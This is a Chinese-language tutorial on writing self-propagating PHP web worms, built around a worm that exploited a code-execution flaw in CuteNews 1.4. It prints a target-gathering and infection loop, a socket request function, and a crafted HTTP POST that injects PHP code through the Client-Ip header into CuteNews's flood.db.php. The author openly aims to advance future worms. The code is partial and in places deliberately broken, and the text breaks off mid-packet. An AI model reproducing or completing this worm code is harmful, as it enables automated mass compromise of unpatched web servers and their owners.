教你编写WEB蠕虫
本文以一些未公开的WEB蠕虫为例,这些蠕虫可通过PHP漏洞脚本进行自我传播。该蠕虫叫World Cant Wait ,在11.2被公布在成千上万个信息公告栏和博客上,以此反对布什政权。原先它利用的是一个私有漏洞,就是最近曝出的关于CuteNews 1.4的php代码执行漏洞。这个蠕虫可自动寻找目标,并自我繁殖。在蠕虫病毒肆虐的同时,街上的人们还高喊着抗议口号。在此我并不打算冒着触犯法律的风险而去破坏一些系统,而是将通过阐述这项技术,并发布相关的模块代码,以此来推动未来PHP蠕虫的发展。
虽然本文中故意留有一些错误,并且仅提供部分代码,但凭此你也是可以写出一个具备一定破坏力的蠕虫病毒的,我们这样做的目的主要是为了防止媒体把我们描述成一些具有暴力和破坏力的黑客。编写蠕虫的优美与才智是体现在编写代码本身,而非它可以黑掉多少系统。现在让我们一起去探索其中的奥秘吧,同时请记住:代码无罪!
===自动化===
挖掘漏洞并编写一个可自动搜集目标和利用的引擎。WEB漏洞具有可预测性,通过搜索引擎可很容易地做到,而且通过构造一系列的HTTP requests即可实现自动化攻击。
while ($stop == false) {
$list = gather_targets();
for ($i=0;$i
echo " [x] targetting $list[$i]...\n";
if (!is_infected($list[$i])) infect($list[$i]);
}
$stop = true;
}
为了让WEB蠕虫进行自我传播,你需要将利用过程自动化,这可以通过使用PHP socket函数与web server建立连接,并发送http数据。下面的函数演示了如何使用PHP脚本来连接服务器,发送数据并返回响应信息:
function make_request($domain, $packet) {
$fp = @fsockopen($domain, 80, $errno, $errstr, 10);
if (!$fp) return false;
fwrite($fp, $packet);
while (!feof($fp)) $text.= fgets($fp);
fclose($fp);
}
接下来的工作就仅仅只是构造一个适合的HTTP request,以利用漏洞,并进行自我复制以感染系统。当有人对文章发表评论时,CuteNews便将信息写入data/flood.db.php文件中。通过Client-Ip HTTP header传输数据,你就可以向这个文件注入PHP代码。
$packet = str_replace("\n","\n\r",
"POST
$location/example2.php?subaction=showcomments&id=1128188313&archive=&start_from=
&ucat=& HTTP/1.1
Accept: */*\r\nAccept-Language: en
Accept-Encoding: gzip, deflate
Client-Ip:
User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/412.6
(KHTML, like Gecko) Safari/412.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 107
Connection: close
Host: $domain
name=haxitup&mail=&comments=j00+haxed+%3Alaughing%3A&submit=Add+My+Comment&
subaction=addcomment&ucat=&show=
";